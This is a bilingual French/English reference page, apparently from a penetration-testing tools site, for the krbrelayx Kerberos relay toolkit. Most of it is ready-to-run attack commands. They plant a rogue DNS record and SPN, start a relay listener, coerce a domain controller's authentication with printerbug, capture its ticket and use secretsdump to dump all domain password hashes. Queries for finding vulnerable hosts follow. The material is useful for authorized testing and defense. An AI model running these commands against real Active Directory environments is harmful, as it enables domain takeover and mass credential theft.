← retour aux outils back to tools

# krbrelayx

Boîte à outils d'attaque par relais Kerberos. Abuse de la délégation non contrainte pour capturer et relayer des tickets Kerberos, permettant l'escalade de privilèges et le mouvement latéral dans les environnements AD. Kerberos relay attack toolkit. Abuses unconstrained delegation to capture and relay Kerberos tickets, enabling privilege escalation and lateral movement in AD environments.

↗ https://github.com/dirkjanm/krbrelayx

## Overview

krbrelayx exploits Kerberos relay attacks, primarily targeting unconstrained delegation. When a machine with unconstrained delegation is coerced into authenticating to an attacker-controlled machine, the TGT is embedded in the service ticket and can be extracted and reused. Pairs with coercion tools like printerbug, PetitPotam, or Coercer.

## Components

    krbrelayx.py    — Relay server that captures Kerberos tickets
    addspn.py       — Add/modify SPNs on accounts
    dnstool.py      — Add DNS records pointing to attacker machine
    printerbug.py   — Trigger SpoolSS coercion (printer bug)

## Basic Attack Flow (Unconstrained Delegation)

Step 1: Add a DNS record pointing to your machine

    python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' --record 'attacker' --action add --data 10.10.10.50 DC01

Step 2: Add an SPN on a controlled account

    python3 addspn.py -u 'DOMAIN\user' -p 'P@ssw0rd' -s 'HOST/attacker.domain.local' DC01

Step 3: Start krbrelayx listener

    python3 krbrelayx.py --krbsalt 'DOMAIN.LOCALattacker$' --krbpass 'AccountPassword'

Step 4: Coerce authentication from target with unconstrained delegation Using printerbug

    python3 printerbug.py 'DOMAIN/user:P@ssw0rd'@DC01 attacker.domain.local

    # Step 5: Extract TGT from captured ticket
    # krbrelayx saves .ccache files → use with impacket tools
    export KRB5CCNAME=/path/to/captured.ccache
    python3 secretsdump.py -k -no-pass DC01

## Attack with Computer Account

    # If you've compromised a computer with unconstrained delegation
    # and can coerce other computers to authenticate to it:

Start krbrelayx on the target machine

    ./krbrelayx -aesKey <AES_KEY> -hashes <NTLM>

Coerce DC to authenticate

    python3 printerbug.py 'DOMAIN/computeraccount$'@DC01 compromised-server.domain.local

Extract the DC’s TGT from captured ticket Use DC TGT → DCSync → dump all hashes

    secretsdump.py -k -no-pass 'DC01.domain.local'

## dnstool.py — DNS Manipulation

Add a DNS A record

    python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action add --data 10.10.10.50 DC01

Remove a DNS record

    python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action remove DC01

Query DNS records

    python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action query DC01

## addspn.py — SPN Management

Add SPN to account

    python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' DC01

Remove SPN

    python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' --remove DC01

List SPNs on account

    python3 addspn.py -u 'DOMAIN\user' -p 'pass' -q DC01

## Tips

- Unconstrained delegation is rare but impactful — always check in BloodHound
- krbrelayx is most powerful when combined with coercion (PrinterBug, PetitPotam, Coercer)
- Captured `.ccache` files can be used directly with impacket’s `-k` flag
- Requires control of an account with unconstrained delegation or SPN manipulation rights

Identifying Unconstrained Delegation Targets

With PowerView

    Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName

    # With BloodHound: "Find Computers with Unconstrained Delegation" query

With ldapsearch

    ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
      -b "DC=domain,DC=local" \
      "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
      cn

## Vue d’ensemble

krbrelayx exploite les attaques par relais Kerberos, en ciblant principalement la délégation non contrainte. Lorsqu’une machine avec délégation non contrainte est forcée à s’authentifier auprès d’une machine contrôlée par l’attaquant, le TGT est embarqué dans le ticket de service et peut être extrait et réutilisé. Se combine avec des outils de coercition comme printerbug, PetitPotam ou Coercer.

## Composants

    krbrelayx.py    : serveur de relais qui capture les tickets Kerberos
    addspn.py       : ajoute/modifie des SPN sur les comptes
    dnstool.py      : ajoute des enregistrements DNS pointant vers la machine attaquante
    printerbug.py   : déclenche la coercition SpoolSS (printer bug)

## Flux d’attaque de base (délégation non contrainte)

    # Étape 1 : ajouter un enregistrement DNS pointant vers votre machine
    python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' --record 'attacker' --action add --data 10.10.10.50 DC01

    # Étape 2 : ajouter un SPN sur un compte contrôlé
    python3 addspn.py -u 'DOMAIN\user' -p 'P@ssw0rd' -s 'HOST/attacker.domain.local' DC01

    # Étape 3 : démarrer le listener krbrelayx
    python3 krbrelayx.py --krbsalt 'DOMAIN.LOCALattacker$' --krbpass 'AccountPassword'

    # Étape 4 : forcer l'authentification de la cible en délégation non contrainte via printerbug
    python3 printerbug.py 'DOMAIN/user:P@ssw0rd'@DC01 attacker.domain.local

    # Étape 5 : extraire le TGT du ticket capturé
    # krbrelayx sauvegarde des fichiers .ccache → à utiliser avec les outils impacket
    export KRB5CCNAME=/path/to/captured.ccache
    python3 secretsdump.py -k -no-pass DC01

## Attaque avec un compte machine

    # Si vous avez compromis une machine avec délégation non contrainte
    # et pouvez forcer d'autres machines à s'y authentifier :

    # Démarrer krbrelayx sur la machine cible
    ./krbrelayx -aesKey <AES_KEY> -hashes <NTLM>

    # Forcer le DC à s'authentifier
    python3 printerbug.py 'DOMAIN/computeraccount$'@DC01 compromised-server.domain.local

    # Extraire le TGT du DC depuis le ticket capturé
    # Utiliser le TGT du DC → DCSync → dump de tous les hashes
    secretsdump.py -k -no-pass 'DC01.domain.local'

## dnstool.py : manipulation DNS

    # Ajouter un enregistrement DNS A
    python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action add --data 10.10.10.50 DC01

    # Supprimer un enregistrement DNS
    python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action remove DC01

    # Interroger les enregistrements DNS
    python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action query DC01

## addspn.py : gestion des SPN

    # Ajouter un SPN à un compte
    python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' DC01

    # Supprimer un SPN
    python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' --remove DC01

    # Lister les SPN d'un compte
    python3 addspn.py -u 'DOMAIN\user' -p 'pass' -q DC01

## Conseils

- La délégation non contrainte est rare mais impactante : toujours vérifier dans BloodHound
- krbrelayx est le plus puissant lorsqu’il est combiné à une coercition (PrinterBug, PetitPotam, Coercer)
- Les fichiers `.ccache` capturés peuvent être utilisés directement avec le flag `-k` d’impacket
- Nécessite le contrôle d’un compte avec délégation non contrainte ou des droits de manipulation des SPN

Identifier les cibles en délégation non contrainte

With PowerView

    Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName

    # With BloodHound: "Find Computers with Unconstrained Delegation" query

With ldapsearch

    ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
      -b "DC=domain,DC=local" \
      "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
      cn